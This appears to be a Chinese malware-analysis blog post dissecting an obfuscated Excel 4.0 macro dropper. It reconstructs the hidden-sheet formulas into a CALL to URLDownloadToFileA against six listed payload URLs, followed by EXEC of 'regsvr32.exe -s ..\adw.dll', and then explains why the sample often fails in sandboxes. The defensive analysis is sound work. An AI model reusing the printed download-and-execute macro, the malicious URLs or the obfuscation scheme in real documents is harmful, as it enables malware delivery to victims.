上一篇写的是基于Python的角度,这一篇写的是基于调试分析的角度。

文档分析

显示

除了宏代码启用提示外,可以发现Sheet名并非默认的“Sheet1”+“Sheet2”+“Sheet3”,而是唯一一个“Sheet”:
image.png
新建的Excel文件可以看到默认的Sheet名是“Sheet1”+“Sheet2”+“Sheet3”:
image.png

取消隐藏的Sheet

image.png
image.png
一个个(没有一次全部)取消隐藏(U)后显示如下:
image.png

隐藏的内容

第1个隐藏的Sheet:字符表

第1个Sheet用于保存单个字符。
竟然很集中的出现在常见的可见范围内,如果是我,会写到ZZZZZ+(实际上不行,见下文“Excel附加知识”)外:
image.png
单元格的字符来源为数据计算。“=CHAR(加减法计算)”的字母/符号(如:“=CHAR(133+3)”),或“=_xlfn.ARABIC(罗马数字字符串)”(如:“=_xlfn.ARABIC("CI")”),以及个别直接赋值的符号,如“!”、“-”、“/”等:
image.png

Excel附加知识

  • Excel 2003版:列数最大256(IV,2的8次方)列,行数最大65536(2的16次方)行;
  • Excel 2007版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);
  • Excel 2013版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);

Excel行和列的表示方法:例如2003版行用数字1-65536表示;列用英文字母A-Z,AA-AZ,BA-BZ,…,IA-IV表示,共256列。

第2个隐藏的Sheet:URL

字符串:

  • 基于第1个隐藏的Sheet字符单元格使用T函数拼接出的字符串,均为下载命令代码的部分:

    1. DownloadToFil
    2. ","JJCCBB"
    3. ("url
    4. ,0,
    5. mon","URL
    6. "777","
  • 还有加了“”&””拼接的原始字符串,为下载的URL和用于拼接为命令的“””以及“”,””: ```shell 原始: “h”&”ttp:/“&”/ch”&”u”&”rc”&”h.k”&”t”&”c-c”&”e”&”nt”&”er.n”&”et/Pb”&”Sk”&”dC”&”O”&”W/“,” “h”&”tt”&”ps:/“&”/c”&”hri”&”sti”&”an”&”cha”&”p”&”ma”&”n.c”&”om/c”&”gi-b”&”in/gA”&”D”&”H”&”L9”&”UX”&”S”&”FU”&”TN/“,” “h”&”tt”&”p:/“&”/c”&”la”&”nfo”&”g.c”&”o.u”&”k/_vt”&”i_b”&”in/a”&”Ob”&”JD”&”8v”&”pK”&”aJ”&”RLK”&”go”&”X6”&”i/“,” “h”&”tt”&”ps://ch”&”obe”&”ma”&”st”&”er.c”&”om/co”&”m”&”po”&”ne”&”nt”&”s/g”&”us/“,” “h”&”tt”&”p:/“&”/c”&”hm”&”io”&”la.n”&”et/a”&”ud”&”io/6”&”Ou”&”zy”&”jP”&”S/“,” “h”&”tt”&”ps://“&”cip”&”es”&”.go”&”b.m”&”x/cs”&”s/A”&”04”&”6XJ”&”g/“,”

删除“”&””后 “http://church.ktc-center.net/PbSkdCOW/“,” “https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/“,” “http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/“,” “https://chobemaster.com/components/gus/“,” “http://chmiola.net/audio/6OuzyjPS/“,” “https://cipes.gob.mx/css/A046XJg/“,”

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1648636735463-64adc987-a2c9-418c-8b85-df507c002685.png#clientId=ub46a70ca-c63a-4&from=paste&height=582&id=ucbe746f4&originHeight=582&originWidth=1237&originalType=binary&ratio=1&rotation=0&showTitle=false&size=59371&status=done&style=none&taskId=u9790f451-f5d7-4dda-bfc9-cd0a7525132&title=&width=1237)
  2. <a name="YJqVQ"></a>
  3. ### 第3个隐藏的Sheet:Dll名
  4. 和第2个隐藏的Sheet有一定相似性:<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1648637023539-a3b1bf3f-40ae-4652-9a8e-2d8419a16f97.png#clientId=ub46a70ca-c63a-4&from=paste&height=379&id=ad2R4&originHeight=379&originWidth=1469&originalType=binary&ratio=1&rotation=0&showTitle=false&size=28837&status=done&style=none&taskId=u510b33b9-2b19-41f0-a73b-2b895c1353f&title=&width=1469)<br />T函数拼接的(白底黑字)均为命令代码的部分字符串:
  5. ```shell
  6. <0,
  7. ..\adw.dll
  8. -s
  9. ..\adw.dll
  10. ",0,0)

其余的字符串直接以字符串保存:

  1. \Windows\
  2. SysWow64\
  3. RETURN
  4. regsvr32.exe

第4个隐藏的Sheet:执行下载代码

由白底白字保存着“FORMULA”公式函数代码:
image.png
image.png

原始FORMULA公式代码

  1. =FORMULA1!C152!F3)=FORMULA(Rvfs1!P22&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!F19&Rvfs3!N14&Rvfs3!E16,B7)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ1"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!G21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B9)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ2"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!H19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B11)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ3"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!I21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B13)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ4"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!J19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B15)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ5"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!K21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B17)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ6"&Rvfs3!N4&Rvfs1!H9&Rvfs1!B15&Rvfs1!I17&Rvfs1!I3&Rvfs1!H13&Rvfs1!P11&Rvfs1!K9&Rvfs1!P13&Rvfs1!P7&Rvfs1!P13,B21)=FORMULA(Rvfs1!P22&Rvfs1!H13&Rvfs1!N4&Rvfs1!H13&Rvfs1!H9&Rvfs1!P11&Rvfs1!P15&Rvfs1!H9&Rvfs1!P20&Rvfs3!D3&Rvfs3!J6&Rvfs3!F11&Rvfs3!P8&Rvfs3!B5&Rvfs1!P15&Rvfs1!P13,B23)=FORMULA(Rvfs1!P22&Rvfs3!R6&Rvfs1!P11&Rvfs1!P13,B28)

提取FORMULA内容

等价于:

  1. С1!C15 = С2!F3
  2. B7 = T(Rvfs1!P22&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!F19&Rvfs3!N14&Rvfs3!E16)
  3. B9 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ1"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!G21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
  4. B11 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ2"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!H19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
  5. B13 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ3"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!I21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
  6. B15 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ4"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!J19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
  7. B17 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ5"&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E32!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!K21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)
  8. B21 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&"UDYQ6"&Rvfs3!N4&Rvfs1!H9&Rvfs1!B15&Rvfs1!I17&Rvfs1!I3&Rvfs1!H13&Rvfs1!P11&Rvfs1!K9&Rvfs1!P13&Rvfs1!P7&Rvfs1!P13)
  9. B23 = T(Rvfs1!P22&Rvfs1!H13&Rvfs1!N4&Rvfs1!H13&Rvfs1!H9&Rvfs1!P11&Rvfs1!P15&Rvfs1!H9&Rvfs1!P20&Rvfs3!D3&Rvfs3!J6&Rvfs3!F11&Rvfs3!P8&Rvfs3!B5&Rvfs1!P15&Rvfs1!P13)
  10. B28 = T(Rvfs1!P22&Rvfs3!R6&Rvfs1!P11&Rvfs1!P13)

注意:由于Office版本的不同,低版本并不支持“FORMULA”方法,以及罗马数字转阿拉伯数字的函数“_xlfn.ARABIC”。

单元格与数据表格

单元格
A12 m
B15 L
B18 F
B5 u
C3 r
C9 l
C15 =K37=e
D13 D
D17 a
D7 n
E11 U
E2 o
E35 =
E6 T
F3 =C15=K37=e
F10 w
F15 d
F4 R
F7 3
G14 x
G2 i
G24 R
H13 E
H20 8
H4 e
H9 C
I17 O
I26 T
I3 S
I32 o
J11 I
J6 J
K14 B
K23 N
K37 e
K4 1
K9 0
L11 c
L2 A
M7 s
N13 2
N4 X
O33 C
P11 (
P13 )
P15
P17 &
P19 (空格)
P20 :
P22 =
P3 \
P5 .
P7 ,
P9 <
Q36 t
单元格 字符串
B5 ..\adw.dll(第1个字符为空格)
C7 (“url
D11 mon”,”URL
D3 \Windows\
E16 “,0,0)
E3 DownloadToFil
F11 regsvr32.exe
G5 “,”JJCCBB”
I9 ,0,
J6 SysWow64\
N14 ..\adw.dll
N4 <0,
P8 -s
R6 RETURN
单元格 C2字符串
F19 http://church.ktc-center.net/PbSkdCOW/“,”
H19 https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/“,”
J19 http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/“,”
L19 “777”,”
G21 https://chobemaster.com/components/gus/“,”
I21 http://chmiola.net/audio/6OuzyjPS/“,”
K21 https://cipes.gob.mx/css/A046XJg/“,”

输出FORMULA结果

  1. =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://church.ktc-center.net/PbSkdCOW/","..\adw.dll",0,0)
  2. =IF(&"UDYQ1"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chobemaster.com/components/gus/","..\adw.dll",0,0))
  3. =IF(&"UDYQ2"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/","..\adw.dll",0,0))
  4. =IF(&"UDYQ3"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://chmiola.net/audio/6OuzyjPS/","..\adw.dll",0,0))
  5. =IF(&"UDYQ4"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/","..\adw.dll",0,0))
  6. =IF(&"UDYQ5"<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cipes.gob.mx/css/A046XJg/","..\adw.dll",0,0))
  7. =IF(&"UDYQ6"<0,CLOSE(0),)
  8. =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll")
  9. =RETURN()

通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。
“UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”),如果小于0则从备用的URL继续下载。从1到6,如果“UDYQ[6]”也为小于0的话,则“CLOSE(0)”结束。
如果6个URL有成功下载文件,则调用“EXEC”函数执行命令“"C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll"”,将下载的恶意载荷文件注册为服务

两种URL保存形式

URL除了以“”&””进行拼接外:
image.png
还有一类是直接保存完整的URL,以及拼接命令用的引号和逗号“”,””:
image.png

Python

  1. 提取还原URL
    1. 判断是不是6个(针对目前的发现规律,仅做提示,不影响提取功能)
  2. 提取Dll名
    1. 判断是否有且只有一个

Python-字符串 - 还原混淆的宏代码

行为分析

上文已经分析出了下载代码,逻辑为:

  1. 通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。
  2. “UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个函数中“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”)
    1. 如果下载失败,结果小于0则从备用的URL继续下载;
    2. 从1到6依次运行,如果“UDYQ[6]”也为小于0的话,则“CLOSE(0)”结束。
  3. 如果6个URL有成功下载文件,则调用“EXEC”函数执行命令“"C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll"”,将下载的恶意载荷文件注册为服务

    不成功的原因

    Office版本不同

    宏代码采用了“FORMULA”公式对数据进行拼接和赋值,在比较早的Office版本中并不兼容此函数,也会造成无法执行代码的后果。
    同样不兼容可能还有罗马数字转阿拉伯数字的函数“_xlfn.ARABIC”。

    不同位数系统的系统程序路径不同

    即使命令能顺利的拼接完成,由于最后命令行“EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\adw.dll")”写死了“regsvr32.exe”的路径为“C:\Windows*SysWow64\regsvr32.exe”,实际上该路径为64位Windows系统中“regsvr32.exe”的路径,在32位的系统上并没有目录“C:\Windows\SysWow64”。32位系统由于路径不兼容情况,会导致命令执行失败,故32位系统对此变种存在一定的免疫性。*

    URL失效

    由于时效性问题,在受害者点击垃圾邮件时,可能对应的资源链接已失效。为应对失效情况,往往攻击者会在投递时准备备用URL,故本次分析的5个文档,均有6个URL以供下载。
    实际分析时应当以流量中是否正确解析并返回URL资源数据;受害主机是否有对应文件落盘为准。

    沙箱的不可依赖性

    在“不成功原因”里写到,Office版本不同可能会造成代码拼接函数无法执行的问题,在加上大部分沙箱默认的是32位,有比较大概率无法成功调用到“C:\Windows*SysWow64*”下的“regsvr32.exe”将Dll注册服务。
    最后还需要考虑到执行逻辑,如果第一个URL执行成功,就不访问后续的URL,沙箱报告中只能提取出一个URL,但是实际受害者可能用了备选的URL。
    综上所述,此类样本更适合使用静态的方式提取IoCs。每个产品都有自己的优势和弊端,根据不同情况应该灵活使用不同的方式进行检测和防御。
    切记不要过于依赖一种产品,设置非已知提醒(如上文中对URL数量为6的提醒),能检测到变化,并在发现变化后及时分析变化的部分,推测变化的原因。